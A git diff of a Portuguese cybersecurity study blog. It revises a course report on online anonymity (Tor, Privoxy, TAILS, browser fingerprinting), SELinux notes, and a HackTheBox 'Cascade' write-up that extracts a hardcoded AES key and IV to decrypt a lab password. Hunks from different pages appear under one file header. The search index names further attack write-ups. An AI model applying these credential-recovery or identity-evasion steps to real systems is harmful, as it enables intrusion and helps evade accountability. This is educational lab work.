diff --git a/book/CursoCiberSeguranca/Anonimato/04_trabalho.html b/book/CursoCiberSeguranca/Anonimato/04_trabalho.html index 7e2fdc4..74581b5 100644 --- a/book/CursoCiberSeguranca/Anonimato/04_trabalho.html +++ b/book/CursoCiberSeguranca/Anonimato/04_trabalho.html @@ -192,6 +192,8 @@
+No contexto do CTESP em cibersegurança que estou a efetuar, foi-me proposto a realização de um trabalho sobre o anonimato na internet. Este trabalho foi realizado no âmbito da unidade curricular de "Técnicas de hacking". O objetivo deste trabalho é aprofundar os conhecimentos sobre o anonimato na internet, e sobre as ferramentas que permitem que os utilizadores possam navegar na internet de forma anónima.
Enunciado:
@@ -202,6 +204,7 @@
Como resultado devem verificar se o tráfego está a ser encaminhado pela rede TOR. Para isso verifiquem a configuração através deste site: https://check.torproject.org/
Indiquem também qual o IP atribuído e a área geográfica a qual o mesmo pertence.
Neste trabalho, iremos desenvolver um relatório sobre o anonimato na internet. Iremos tratar de entender o que é a rede TOR, como usar o Privoxy, iremos ainda falar sobre o sistema operativo TAILS e por fim, passando ainda por discutir sobre a importância do anonimato para o black hat hacker, as dificuldades que enfrentam as autoridades contra o anonimato e sobre a importância da coordenação e cooperação internacional para combater o cibercrime.
Existe outras formas de saber quem somos pela internet sem metermos os nosso dados. Existem dados nosso sobre tudo o que possamos imaginar e o que não imaginamos gravados na internet Um expert em OSINT consegue fazer ligações inimagináveis para determinar com um grau de certezas muito elevado que foi tal ou tal pessoa a fazer algo pela internet. Exemplos:
-Exitem diversos dados que enviamos através do nosso browser que nos identificam, e outros que são acessíveis por código javascript que o nosso browser executa. Dados como:
-- tamanho do ecrã
-- tamanho usável do browser
-- user-agent
-- Do Not Track header
-- Timezone
-- Content language
-- layout de teclado
-- Lista de fontes instaladas
-- Lista de plugins instalados
-- WebGL Renderer
-- permissões do browser
-- e muitos outros
-
+Existem diversos dados que enviamos através do nosso browser que nos identificam, e outros que são acessíveis por código javascript que o nosso browser executa. Dados como:
+No meu caso em particular, sou único. totalmente identificável pela internet... Também posso dizer que talvés me ponho a geito. Teclado e linguagem em Portugues, computador Linux, fontes (tipos de letras) como "firacode" entre outras coisas fazem que não haja outra configuração igual.
+No meu caso em particular, sou único. totalmente identificável pela internet... Também posso dizer que talvez me ponho a jeito. Teclado e linguagem em Portugues, computador Linux, fontes (tipos de letras) como "firacode" entre outras coisas fazem que não haja outra configuração igual.
E no caso de usar TOR? De certeza que não iria ser possível obter tanta informação, mas mesmo assim, seriam perfeitamente suficientes para me identificarem.
Vimos anteriormente várias falhas no anonimato perfeito... Mas vamos tentar otimizar tudo para ficarmos o mais anónimos possível. Vimos que o nosso sistema fala para a internet. Isso é um problema para quem quiser ficar anónimo. Temos então que usar, para além do TOR e de uma VPN-over-TOR, podemos usar uma ferramenta que irá alterar todos esses elementos identificáveis do browser. Essa ferramenta é o privoxy.
@@ -299,7 +303,7 @@Agora que temos tudo configurado, estamos prontos para navegar na internet de forma praticamente anónima. Mas todo esse processo é demorado. Poderiamos criar um script para automatizar todo esse processo. Mas existe ainda melhor. O sistema operacional TAILS.
@@ -322,8 +326,8 @@Todo estes procedimentos são complexos, mas necessários para estar o mais anónimo possível. E certas organizações entenderam o perigo que isso representa. Por exemplo, o FBI, a NSA, a CIA, etc. Essas organizações têm como objetivo proteger os cidadãos, mas também têm como objetivo proteger o país. E estar totalmente anónimo para cibercriminoso ou um ciberterrorista é perigoso para as populações. Já houve, então, tentativas de contornar algumas dessas ferramentas.
@@ -336,11 +340,12 @@O anonimato na internet é um assunto muito importante, pois permite que os utilizadores possam navegar na internet sem que sejam identificados. É um assunto muito relevante para quem se preocupa com a sua privacidade e segurança, mas é primordial para pessoas que vivem em países onde a liberdade de expressão é limitada. É ainda crítico para pessoas que trabalham em áreas sensíveis, como jornalistas, ativistas, denunciantes, etc. E claro, para quem pratica atividades ilegais, como o cibercrime.
A forma mais fácil de ficar anónimo é usando o sistema operacional TAILS. Mas para quem quer estar minimamente anónimo, basta usar o TOR e o privoxy. As sua ferramentas juntas já trazem um nível de anonimato excecional.
-Todas as técnicas aqui referidas foram para tratar a anonimidade na internet. Não confundir estar anónimo com estar livre de malwares, vírus, etc. Além disso, essas técnicas são inúteis se o utilizador não tiver cuidado com o que faz na internet. Se o utilizador usar a sua conta pessoal do facebook, e publicar X ou Y coisa, não importa ter tido o cuidado de usar a rede TOR ou o TAILS, pois toda a gente sabe que ele publicou X ou Y coisa.
+Todas as técnicas aqui referidas foram para tratar a anonimidade na internet. Não confundir estar anónimo com estar livre de malwares, vírus, etc. Além disso, essas técnicas são inúteis se o utilizador não tiver cuidado com o que faz na internet. Se o utilizador usar a sua conta pessoal do facebook, e publicar X ou Y coisa, sim a comunicação até aos servidores do facebook são anónimas, sim é muito dificil (praticamente impossível) reconstruir o caminho que cada pacote usou, mas não importa ter tido o cuidado de usar a rede TOR ou o TAILS, pois toda a gente sabe que ele publicou X ou Y coisa.
yum install policycoreutils-python
Existem ainda outros pacotes que poderão ser instalados dependendo das necessidades. Na documentação oficial do Red Hat, encontramos a seguinte lista de pacotes:
-- policies: selinux-policy-targeted, selinux-policy-mls
-- tools: policycoreutils, policycoreutils-gui, libselinux-utils, policycoreutils-python-utils, setools-console, checkpolicy
-
+O ficheiro principal de configuração do SELinux é o /etc/selinux/config. Este ficheiro contém as seguintes opções:
-- SELINUX: define o modo de execução do SELinux
- - SELINUX=disabled: desativa o SELinux durante o arranque
- - SELINUX=permissive: coloca o SELinux em modo permissivo, imprimindo apenas mensagens de aviso
- - SELINUX=enforcing: coloca o SELinux em modo de execução
-- SELINUXTYPE: define o tipo de política SELinux a ser usada
- - SELINUXTYPE=targeted: define a política SELinux como targeted
- - SELINUXTYPE=minimum: define a política SELinux como minimum, apenas processos selecionados são protegidos
- - SELINUXTYPE=mls: define a política SELinux como multi level security (MLS)
-
+Na mesma pasta, existe ainda o ficheiro /etc/selinux/semanage.conf. Este ficheiro "/etc/selinux/semanage.conf", é um ficheiro de configuração para a ferramenta de gestão SELinux "semanage". Ele contém definições para a localização padrão do armazenamento de políticas, a localização padrão do armazenamento de módulos de políticas e o caminho padrão dos módulos de políticas. Estas definições são usadas pelo "semanage" para gerir as políticas e módulos SELinux no sistema. O ficheiro pode ser editado para alterar as definições padrão do "semanage".
Neste trabalho, demonstrei como é possível limitar um utilizador a uns meros comandos, como instalar e habilitar um servidor SSH, como alterar o porto lógico de acesso ao mesmo. Deparei-me com um problema de permissões devido a políticas de segurança do sistema operativo Rocky e aprendi a resolve-lo, com a ajuda do journal, assim como alterar as regras do firewall também instalado por defeito neste sistema.
-- Fontes úteis:
- - https://serverfault.com/questions/998399/how-to-create-a-very-limited-linux-user
- - https://docs.rackspace.com/support/how-to/change-the-ssh-port-in-centos-and-redhat/
- - https://www.digitalocean.com/community/tutorials/additional-recommended-steps-for-new-centos-7-servers
-
+Vemos que, na linha 39, o programa connecta-se à base de dados, como prevíamos. E na linha 46, percebemos que a string EncryptedString é a tal palavra que encontramos com o sqlite3. A seguir na linha 49, o programa tenta decryptar a palavra passe. Essa função "Crypto.DecryptString(EncryptedString, "c4scadek3y654321")" está a ser importada do CascCrypto.dll
Na linha 39 do Crypto.cs é que está definido a função "DecryptString". E dái já vemos muitas informações.
-- Crypto.DecryptString(EncryptedString, "c4scadek3y654321"); (MainModule.cs)
- - O trabalho de desencriptação parte daí
-- public static string DecryptString(string EncryptedString, string Key);
- - Isto é o nome da função, e os seus argumentos. a Key usada foi a que está em cima em texto claro ("c4scadek3y654321")
-- byte[] buffer = Convert.FromBase64String(EncryptedString);
- - Confirma-se que a palavra passe que encontramos na base de dados está em base64, pois o programa está a descodificar antes de tratá-lo
-- Aes aes = Aes.Create();
- - Aes é um tipo de criptografia de dados...
- - Aes é amplamente usado por ser um tipo de criptografia virtualmente inquebrável, que levaria vidas inteiras para decifrá-la por brute force... Mas com o código fonte, a coisa muda...
-- aes.IV = Encoding.UTF8.GetBytes("1tdyjCbY1Ix49842");
- -
-- aes.Mode = CipherMode.CBC;
- - O método de codificação usado é o CBC cipher
-- aes.Key = Encoding.UTF8.GetBytes(Key);
- - confirma-se da situação da Key ser "c4scadek3y654321"
-
+Resumo: - AES - Key == "c4scadek3y654321" - IV == "1tdyjCbY1Ix49842" - Mode == "CBC"
Agora é só decifrá-lo. Isto claramente não vou fazer com uma calculadora (de uma não sei como se faz, e não deve ser fácil lol). Para isso existe ferramentas online, e programas diversos no github. Vou usar uma ferramenta online. o CyberChef. è só procurar as "operations", por o input e guardar o Output
diff --git a/book/searchindex.js b/book/searchindex.js index 336b573..180e6f6 100644 --- a/book/searchindex.js +++ b/book/searchindex.js @@ -1 +1 @@ -Object.assign(window.search, {"doc_urls":["index.html#sylvain-javalimz-júlio","Windows.html#máquinas-hackthebox","Windows.html#secção-windows","HTB/HTB-Windows-Easy-Omni.html#1-enumeração","HTB/HTB-Windows-Easy-Omni.html#11-nmap","HTB/HTB-Windows-Easy-Omni.html#2-exploração","HTB/HTB-Windows-Easy-Omni.html#3-escalada-de-privilégios","HTB/HTB-Windows-Easy-Omni.html#31-enumeração-do-sistema","HTB/HTB-Windows-Easy-Omni.html#32-user-app","HTB/HTB-Windows-Easy-Sauna.html#1-enumeração","HTB/HTB-Windows-Easy-Sauna.html#11-nmap","HTB/HTB-Windows-Easy-Sauna.html#2-web-server","HTB/HTB-Windows-Easy-Sauna.html#3-as-rep-roasting-attack","HTB/HTB-Windows-Easy-Sauna.html#31-getnpuserspy","HTB/HTB-Windows-Easy-Sauna.html#311---pwn3d","HTB/HTB-Windows-Easy-Sauna.html#4-primeiro-pé-na-máquina","HTB/HTB-Windows-Easy-Sauna.html#5-bloodhound","HTB/HTB-Windows-Easy-Sauna.html#6-escalada-de-privilégios","HTB/HTB-Windows-Medium-Resolute.html#1-enumeração","HTB/HTB-Windows-Medium-Resolute.html#11-servidor-samba","HTB/HTB-Windows-Medium-Resolute.html#12-servidor-rpc","HTB/HTB-Windows-Medium-Resolute.html#2-privesc","HTB/HTB-Windows-Medium-Resolute.html#3-grupo-megabankdnsadmins","HTB/HTB-Windows-Medium-Resolute.html#31-criação-do-ficheirodll-malicioso","HTB/HTB-Windows-Medium-Resolute.html#4-we-are-authoritysystem","HTB/HTB-Windows-Medium-Cascade.html#1-enumeração","HTB/HTB-Windows-Medium-Cascade.html#11-nmap","HTB/HTB-Windows-Medium-Cascade.html#12-rdp","HTB/HTB-Windows-Medium-Cascade.html#13-getnpuserspy","HTB/HTB-Windows-Medium-Cascade.html#14-ldapsearch","HTB/HTB-Windows-Medium-Cascade.html#2-privesc","HTB/HTB-Windows-Medium-Cascade.html#21-smbclient","HTB/HTB-Windows-Medium-Cascade.html#22-sqlite3","HTB/HTB-Windows-Medium-Cascade.html#23-dotpeek-jetbrains","HTB/HTB-Windows-Medium-Cascade.html#231-decrypt-password","HTB/HTB-Windows-Medium-Cascade.html#24-privesc","HTB/HTB-Windows-Hard-Blackfield.html#1-introdução","HTB/HTB-Windows-Hard-Blackfield.html#2-enumeração","HTB/HTB-Windows-Hard-Blackfield.html#21-nmap","HTB/HTB-Windows-Hard-Blackfield.html#22-smb-anonymous","HTB/HTB-Windows-Hard-Blackfield.html#23-as-rep-roasting-attack","HTB/HTB-Windows-Hard-Blackfield.html#24-rpc","HTB/HTB-Windows-Hard-Blackfield.html#25-as-rep-roasting-attack","HTB/HTB-Windows-Hard-Blackfield.html#26-bloodhound","HTB/HTB-Windows-Hard-Blackfield.html#27-smb","HTB/HTB-Windows-Hard-Blackfield.html#3-privesc-svc_backup--administrator-de-domínio","HTB/HTB-Windows-Insane-Bankrobber.html#1-introdução","HTB/HTB-Windows-Insane-Bankrobber.html#2-enumeração","HTB/HTB-Windows-Insane-Bankrobber.html#21-nmap","HTB/HTB-Windows-Insane-Bankrobber.html#22-website","HTB/HTB-Windows-Insane-Bankrobber.html#23-sqli","HTB/HTB-Windows-Insane-Bankrobber.html#24-notetxt","HTB/HTB-Windows-Insane-Bankrobber.html#25-sqli-into-rce","HTB/HTB-Windows-Insane-Bankrobber.html#251-visualização-do-ficheiro-backdoorcheckerphp","HTB/HTB-Windows-Insane-Bankrobber.html#3-privesc","HTB/HTB-Windows-Insane-APT.html#1-introdução","HTB/HTB-Windows-Insane-APT.html#2-enumeração","HTB/HTB-Windows-Insane-APT.html#21-nmap","HTB/HTB-Windows-Insane-APT.html#211-porta-80","HTB/HTB-Windows-Insane-APT.html#212-porta-135","HTB/HTB-Windows-Insane-APT.html#22-firewall","HTB/HTB-Windows-Insane-APT.html#221-ioxidresolver","HTB/HTB-Windows-Insane-APT.html#23-nmap","HTB/HTB-Windows-Insane-APT.html#24-smb","HTB/HTB-Windows-Insane-APT.html#25-gettgtpy","HTB/HTB-Windows-Insane-APT.html#26-regpy","HTB/HTB-Windows-Insane-APT.html#3-escalada-de-privilégios","HTB/HTB-Windows-Insane-APT.html#31-winpeas64exe","HTB/HTB-Windows-Insane-APT.html#311-bypass-4msi","HTB/HTB-Windows-Insane-APT.html#312-invoke-binary","HTB/HTB-Windows-Insane-APT.html#32-responder","HTB/HTB-Windows-Insane-APT.html#33-mscmdrunexe","HTB/HTB-Windows-Insane-APT.html#34-secretsdumppy","Linux.html#máquinas-hackthebox","Linux.html#secção-linux","HTB/HTB-Linux-Easy-Pandora.html#1-introdução","HTB/HTB-Linux-Easy-Pandora.html#2-enumeração","HTB/HTB-Linux-Easy-Pandora.html#21-nmap","HTB/HTB-Linux-Easy-Pandora.html#22-virtualhosting-e-webpage","HTB/HTB-Linux-Easy-Pandora.html#23-snmp","HTB/HTB-Linux-Easy-Pandora.html#3-getting-shell","HTB/HTB-Linux-Easy-Pandora.html#31-ssh","HTB/HTB-Linux-Easy-Pandora.html#32-enumeração-do-sistema","HTB/HTB-Linux-Easy-Pandora.html#33-virtualhost","HTB/HTB-Linux-Easy-Pandora.html#34-portforwarding","HTB/HTB-Linux-Easy-Pandora.html#35-cve-2021-32099","HTB/HTB-Linux-Easy-Pandora.html#36-rce-com-usuário--matt","HTB/HTB-Linux-Easy-Pandora.html#361-estabilizar-o-reverse-shell","HTB/HTB-Linux-Easy-Pandora.html#4-escalada-de-privilégio","HTB/HTB-Linux-Easy-Pandora.html#41-path-hijacking","HTB/HTB-Linux-Easy-Pandora.html#411-não-funcionou-porquê","HTB/HTB-Linux-Easy-Precious.html#1-introduction","HTB/HTB-Linux-Easy-Precious.html#2-enumeration","HTB/HTB-Linux-Easy-Precious.html#3-exploit---remote-code-execution","HTB/HTB-Linux-Easy-Precious.html#4-foothold","HTB/HTB-Linux-Easy-Precious.html#5-privilege-escalation","HTB/HTB-Linux-Easy-Precious.html#6-conclusion","HTB/HTB-Linux-Hard-Falafel.html#1-enumeração","HTB/HTB-Linux-Hard-Falafel.html#11-nmap","HTB/HTB-Linux-Hard-Falafel.html#2-website","HTB/HTB-Linux-Hard-Falafel.html#21-fuzzing-the-website","HTB/HTB-Linux-Hard-Falafel.html#22-sqli","HTB/HTB-Linux-Hard-Falafel.html#23-rce","HTB/HTB-Linux-Hard-Falafel.html#231-reverse-shell","HTB/HTB-Linux-Hard-Falafel.html#3-privesc","HTB/HTB-Linux-Hard-Falafel.html#31-group-video","HTB/HTB-Linux-Hard-Falafel.html#32-group-disk","HTB/HTB-Linux-Hard-Falafel.html#33-debugfs","CiberSeguranca.html#trabalhos-do-curso-de-cibersegurança","CursoCiberSeguranca/Trabalho2/Trabalho2.html#1-instalação-do-openssh-do-cliente","CursoCiberSeguranca/Trabalho2/Trabalho2.html#2-instalação-do-openssh-do-lado-do-servidor","CursoCiberSeguranca/Trabalho2/Trabalho2.html#3-ligação-entre-o-cliente-e-o-servidor","CursoCiberSeguranca/Trabalho2/Trabalho2.html#6-acesso-ao-servidor-através-do-utilizador-criado","CursoCiberSeguranca/Trabalho2/Trabalho2.html#7-acesso-de-utilizadores-guest-por-parte-dos-camaradas-de-curso","CursoCiberSeguranca/Trabalho2/Trabalho2.html#8-mudar-o-porto-lógico-de-acesso-do-servidor","CursoCiberSeguranca/Trabalho2/Trabalho2.html#9-verificação-do-acesso-ao-servidor-ssh","CursoCiberSeguranca/Trabalho2/Trabalho2.html#10-conclusão","CursoCiberSeguranca/Trabalho3/Trabalho3.html#01-não-permitir-autenticação-com-utilizador-root","CursoCiberSeguranca/Trabalho3/Trabalho3.html#02-desativar-acesso-sem-password","CursoCiberSeguranca/Trabalho3/Trabalho3.html#03-criar-um-banner-com-msg-bem-vindo-ao-ssh-de-ars-cuidado","CursoCiberSeguranca/Trabalho3/Trabalho3.html#04-mudar-porto-lógico-para-5555","CursoCiberSeguranca/Trabalho3/Trabalho3.html#05-mudar-número-de-tentativas-de-ligação-para-2","CursoCiberSeguranca/Trabalho3/Trabalho3.html#06-mudar-tempo-de-espera-para-autenticação-para-5-segundos","CursoCiberSeguranca/Trabalho3/Trabalho3.html#07-permitir-apenas-a-autenticação-de-2-utilizadores-criados-no-sistema","CursoCiberSeguranca/Trabalho3/Trabalho3.html#08-permitir-apenas-a-autenticação-de-2-endereços-ip","CursoCiberSeguranca/Trabalho3/Trabalho3.html#1-outras-configurações-que-podem-ser-feitas","CursoCiberSeguranca/Trabalho3/Trabalho3.html#11-desativar-o-acesso-por-password","CursoCiberSeguranca/Trabalho3/Trabalho3.html#12-ficheiro-de-logs","CursoCiberSeguranca/Trabalho3/Trabalho3.html#13-impedir-portforwarding","CursoCiberSeguranca/Trabalho3/Trabalho3.html#2-resumo","CursoCiberSeguranca/Trabalho3/Trabalho3.html#21-fontes","CursoCiberSeguranca/Trabalho5/Trabalho5.html#1-criação-dos-sites","CursoCiberSeguranca/Trabalho5/Trabalho5.html#2-configuração-do-nginx","CursoCiberSeguranca/Trabalho5/Trabalho5.html#3-configurações-do-firewall-e-do-selinux-policy-management-tool","CursoCiberSeguranca/Trabalho5/Trabalho5.html#4-ficheiros-de-log","CursoCiberSeguranca/Trabalho5/Trabalho5.html#5-testar-a-configuração","CursoCiberSeguranca/Trabalho5/Trabalho5.html#6-configuração-do-nome-de-domínio","CursoCiberSeguranca/Trabalho5/Trabalho5.html#7-verificação-do-funcionamento","CursoCiberSeguranca/Trabalho5/Trabalho5.html#8-documentação-e-ajudas","CursoCiberSeguranca/SELinux/TrabalhoSELinux.html#1-introdução","CursoCiberSeguranca/SELinux/TrabalhoSELinux.html#11-o-que-é-o-selinux","CursoCiberSeguranca/SELinux/TrabalhoSELinux.html#12-dac-discretionary-access-control-vs-mac-mandatory-access-control","CursoCiberSeguranca/SELinux/TrabalhoSELinux.html#2-instalação","CursoCiberSeguranca/SELinux/TrabalhoSELinux.html#3-configuração","CursoCiberSeguranca/SELinux/TrabalhoSELinux.html#31-semanage","CursoCiberSeguranca/SELinux/TrabalhoSELinux.html#4-troubleshooting","CursoCiberSeguranca/SELinux/TrabalhoSELinux.html#5-referências","CursoCiberSeguranca/Trabalho9SSL/Trabalho9SSL.html#1-o-que-é-ssl-ou-tls","CursoCiberSeguranca/Trabalho9SSL/Trabalho9SSL.html#2-criar-um-site-de-login-simples-sem-tls","CursoCiberSeguranca/Trabalho9SSL/Trabalho9SSL.html#21-configura-o-nginx","CursoCiberSeguranca/Trabalho9SSL/Trabalho9SSL.html#22-verificar-as-comunicações-com-a-ferramenta-wireshark-http","CursoCiberSeguranca/Trabalho9SSL/Trabalho9SSL.html#3-adicionar-o-protocolo-de-segurança-tls-ao-servidor","CursoCiberSeguranca/Trabalho9SSL/Trabalho9SSL.html#31-verificar-as-comunicações-com-a-ferramenta-wireshark-https","CursoCiberSeguranca/Trabalho9SSL/Trabalho9SSL.html#4-conclusão","CursoCiberSeguranca/Trabalho9SSL/Trabalho9SSL.html#5-referências","CursoCiberSeguranca/Anonimato/04_trabalho.html#1-introdução","CursoCiberSeguranca/Anonimato/04_trabalho.html#2-anonimato-na-internet","CursoCiberSeguranca/Anonimato/04_trabalho.html#21-rede-tor","CursoCiberSeguranca/Anonimato/04_trabalho.html#211-tor-browser","CursoCiberSeguranca/Anonimato/04_trabalho.html#212-como-funciona-o-tor","CursoCiberSeguranca/Anonimato/04_trabalho.html#213-o-navegador-tor","CursoCiberSeguranca/Anonimato/04_trabalho.html#214-a-rede-tor-é-segura","CursoCiberSeguranca/Anonimato/04_trabalho.html#215-É-possível-ser-identificado-através-da-rede-tor","CursoCiberSeguranca/Anonimato/04_trabalho.html#216-então-porquê-mesmo-assim-podemos-não-estar-totalmente-ocultos","CursoCiberSeguranca/Anonimato/04_trabalho.html#217-como-tentar-ficar-anónimo-pela-internet","CursoCiberSeguranca/Anonimato/04_trabalho.html#22-privoxy","CursoCiberSeguranca/Anonimato/04_trabalho.html#23-sistema-operacional-tails","CursoCiberSeguranca/Anonimato/04_trabalho.html#24-antenas-wifi-direcionais-de-longo-alcance","CursoCiberSeguranca/Anonimato/04_trabalho.html#3-problemas-encontrados-na-busca-do-anonimato","CursoCiberSeguranca/Anonimato/04_trabalho.html#31-rede-tor-pode-ser-controlada","CursoCiberSeguranca/Anonimato/04_trabalho.html#4-conclusão","CursoCiberSeguranca/Anonimato/04_trabalho.html#5-bibliografia"],"index":{"documentStore":{"docInfo":{"0":{"body":82,"breadcrumbs":4,"title":3},"1":{"body":88,"breadcrumbs":4,"title":2},"10":{"body":427,"breadcrumbs":8,"title":2},"100":{"body":430,"breadcrumbs":9,"title":3},"101":{"body":672,"breadcrumbs":8,"title":2},"102":{"body":458,"breadcrumbs":8,"title":2},"103":{"body":100,"breadcrumbs":9,"title":3},"104":{"body":61,"breadcrumbs":8,"title":2},"105":{"body":262,"breadcrumbs":9,"title":3},"106":{"body":156,"breadcrumbs":9,"title":3},"107":{"body":89,"breadcrumbs":8,"title":2},"108":{"body":32,"breadcrumbs":9,"title":4},"109":{"body":120,"breadcrumbs":12,"title":4},"11":{"body":194,"breadcrumbs":9,"title":3},"110":{"body":72,"breadcrumbs":13,"title":5},"111":{"body":413,"breadcrumbs":16,"title":8},"112":{"body":49,"breadcrumbs":15,"title":7},"113":{"body":8,"breadcrumbs":19,"title":11},"114":{"body":398,"breadcrumbs":16,"title":8},"115":{"body":46,"breadcrumbs":14,"title":6},"116":{"body":79,"breadcrumbs":10,"title":2},"117":{"body":328,"breadcrumbs":18,"title":7},"118":{"body":32,"breadcrumbs":16,"title":5},"119":{"body":64,"breadcrumbs":24,"title":13},"12":{"body":162,"breadcrumbs":10,"title":4},"120":{"body":140,"breadcrumbs":17,"title":6},"121":{"body":48,"breadcrumbs":20,"title":9},"122":{"body":36,"breadcrumbs":21,"title":10},"123":{"body":66,"breadcrumbs":20,"title":9},"124":{"body":205,"breadcrumbs":19,"title":8},"125":{"body":0,"breadcrumbs":18,"title":7},"126":{"body":303,"breadcrumbs":17,"title":6},"127":{"body":256,"breadcrumbs":15,"title":4},"128":{"body":245,"breadcrumbs":14,"title":3},"129":{"body":8,"breadcrumbs":13,"title":2},"13":{"body":246,"breadcrumbs":8,"title":2},"130":{"body":18,"breadcrumbs":13,"title":2},"131":{"body":351,"breadcrumbs":15,"title":4},"132":{"body":134,"breadcrumbs":14,"title":3},"133":{"body":59,"breadcrumbs":19,"title":8},"134":{"body":53,"breadcrumbs":15,"title":4},"135":{"body":36,"breadcrumbs":14,"title":3},"136":{"body":36,"breadcrumbs":16,"title":5},"137":{"body":58,"breadcrumbs":14,"title":3},"138":{"body":18,"breadcrumbs":15,"title":4},"139":{"body":34,"breadcrumbs":8,"title":2},"14":{"body":35,"breadcrumbs":8,"title":2},"140":{"body":88,"breadcrumbs":11,"title":5},"141":{"body":142,"breadcrumbs":16,"title":10},"142":{"body":94,"breadcrumbs":8,"title":2},"143":{"body":150,"breadcrumbs":8,"title":2},"144":{"body":425,"breadcrumbs":8,"title":2},"145":{"body":91,"breadcrumbs":8,"title":2},"146":{"body":10,"breadcrumbs":8,"title":2},"147":{"body":480,"breadcrumbs":15,"title":6},"148":{"body":147,"breadcrumbs":18,"title":9},"149":{"body":236,"breadcrumbs":13,"title":4},"15":{"body":453,"breadcrumbs":11,"title":5},"150":{"body":185,"breadcrumbs":16,"title":7},"151":{"body":478,"breadcrumbs":18,"title":9},"152":{"body":50,"breadcrumbs":16,"title":7},"153":{"body":48,"breadcrumbs":11,"title":2},"154":{"body":20,"breadcrumbs":11,"title":2},"155":{"body":299,"breadcrumbs":10,"title":2},"156":{"body":71,"breadcrumbs":12,"title":4},"157":{"body":59,"breadcrumbs":11,"title":3},"158":{"body":159,"breadcrumbs":11,"title":3},"159":{"body":133,"breadcrumbs":13,"title":5},"16":{"body":262,"breadcrumbs":8,"title":2},"160":{"body":137,"breadcrumbs":12,"title":4},"161":{"body":79,"breadcrumbs":12,"title":4},"162":{"body":357,"breadcrumbs":16,"title":8},"163":{"body":191,"breadcrumbs":18,"title":10},"164":{"body":62,"breadcrumbs":15,"title":7},"165":{"body":211,"breadcrumbs":10,"title":2},"166":{"body":146,"breadcrumbs":12,"title":4},"167":{"body":139,"breadcrumbs":15,"title":7},"168":{"body":66,"breadcrumbs":14,"title":6},"169":{"body":153,"breadcrumbs":14,"title":6},"17":{"body":167,"breadcrumbs":10,"title":4},"170":{"body":183,"breadcrumbs":10,"title":2},"171":{"body":7,"breadcrumbs":10,"title":2},"18":{"body":587,"breadcrumbs":8,"title":2},"19":{"body":34,"breadcrumbs":9,"title":3},"2":{"body":0,"breadcrumbs":4,"title":2},"20":{"body":492,"breadcrumbs":9,"title":3},"21":{"body":233,"breadcrumbs":8,"title":2},"22":{"body":58,"breadcrumbs":9,"title":3},"23":{"body":131,"breadcrumbs":10,"title":4},"24":{"body":66,"breadcrumbs":8,"title":2},"25":{"body":33,"breadcrumbs":8,"title":2},"26":{"body":312,"breadcrumbs":8,"title":2},"27":{"body":99,"breadcrumbs":8,"title":2},"28":{"body":99,"breadcrumbs":8,"title":2},"29":{"body":167,"breadcrumbs":8,"title":2},"3":{"body":25,"breadcrumbs":8,"title":2},"30":{"body":0,"breadcrumbs":8,"title":2},"31":{"body":427,"breadcrumbs":8,"title":2},"32":{"body":154,"breadcrumbs":8,"title":2},"33":{"body":240,"breadcrumbs":9,"title":3},"34":{"body":136,"breadcrumbs":9,"title":3},"35":{"body":233,"breadcrumbs":8,"title":2},"36":{"body":98,"breadcrumbs":8,"title":2},"37":{"body":32,"breadcrumbs":8,"title":2},"38":{"body":379,"breadcrumbs":8,"title":2},"39":{"body":298,"breadcrumbs":9,"title":3},"4":{"body":151,"breadcrumbs":8,"title":2},"40":{"body":194,"breadcrumbs":10,"title":4},"41":{"body":142,"breadcrumbs":8,"title":2},"42":{"body":72,"breadcrumbs":10,"title":4},"43":{"body":125,"breadcrumbs":8,"title":2},"44":{"body":343,"breadcrumbs":8,"title":2},"45":{"body":480,"breadcrumbs":12,"title":6},"46":{"body":89,"breadcrumbs":8,"title":2},"47":{"body":0,"breadcrumbs":8,"title":2},"48":{"body":127,"breadcrumbs":8,"title":2},"49":{"body":502,"breadcrumbs":8,"title":2},"5":{"body":239,"breadcrumbs":8,"title":2},"50":{"body":303,"breadcrumbs":8,"title":2},"51":{"body":26,"breadcrumbs":8,"title":2},"52":{"body":217,"breadcrumbs":9,"title":3},"53":{"body":138,"breadcrumbs":10,"title":4},"54":{"body":412,"breadcrumbs":8,"title":2},"55":{"body":274,"breadcrumbs":8,"title":2},"56":{"body":0,"breadcrumbs":8,"title":2},"57":{"body":35,"breadcrumbs":8,"title":2},"58":{"body":61,"breadcrumbs":9,"title":3},"59":{"body":81,"breadcrumbs":9,"title":3},"6":{"body":0,"breadcrumbs":10,"title":4},"60":{"body":156,"breadcrumbs":8,"title":2},"61":{"body":52,"breadcrumbs":8,"title":2},"62":{"body":307,"breadcrumbs":8,"title":2},"63":{"body":495,"breadcrumbs":8,"title":2},"64":{"body":221,"breadcrumbs":8,"title":2},"65":{"body":215,"breadcrumbs":8,"title":2},"66":{"body":58,"breadcrumbs":10,"title":4},"67":{"body":66,"breadcrumbs":8,"title":2},"68":{"body":212,"breadcrumbs":9,"title":3},"69":{"body":194,"breadcrumbs":9,"title":3},"7":{"body":324,"breadcrumbs":9,"title":3},"70":{"body":103,"breadcrumbs":8,"title":2},"71":{"body":312,"breadcrumbs":8,"title":2},"72":{"body":61,"breadcrumbs":8,"title":2},"73":{"body":88,"breadcrumbs":4,"title":2},"74":{"body":0,"breadcrumbs":4,"title":2},"75":{"body":110,"breadcrumbs":8,"title":2},"76":{"body":0,"breadcrumbs":8,"title":2},"77":{"body":93,"breadcrumbs":8,"title":2},"78":{"body":442,"breadcrumbs":10,"title":4},"79":{"body":163,"breadcrumbs":8,"title":2},"8":{"body":156,"breadcrumbs":9,"title":3},"80":{"body":0,"breadcrumbs":9,"title":3},"81":{"body":24,"breadcrumbs":8,"title":2},"82":{"body":55,"breadcrumbs":9,"title":3},"83":{"body":308,"breadcrumbs":8,"title":2},"84":{"body":222,"breadcrumbs":8,"title":2},"85":{"body":76,"breadcrumbs":10,"title":4},"86":{"body":111,"breadcrumbs":11,"title":5},"87":{"body":29,"breadcrumbs":11,"title":5},"88":{"body":71,"breadcrumbs":10,"title":4},"89":{"body":177,"breadcrumbs":9,"title":3},"9":{"body":74,"breadcrumbs":8,"title":2},"90":{"body":108,"breadcrumbs":10,"title":4},"91":{"body":112,"breadcrumbs":8,"title":2},"92":{"body":315,"breadcrumbs":8,"title":2},"93":{"body":180,"breadcrumbs":11,"title":5},"94":{"body":32,"breadcrumbs":8,"title":2},"95":{"body":161,"breadcrumbs":9,"title":3},"96":{"body":30,"breadcrumbs":8,"title":2},"97":{"body":37,"breadcrumbs":8,"title":2},"98":{"body":94,"breadcrumbs":8,"title":2},"99":{"body":47,"breadcrumbs":8,"title":2}},"docs":{"0":{"body":"Bem-vindos ao meu blog sobre 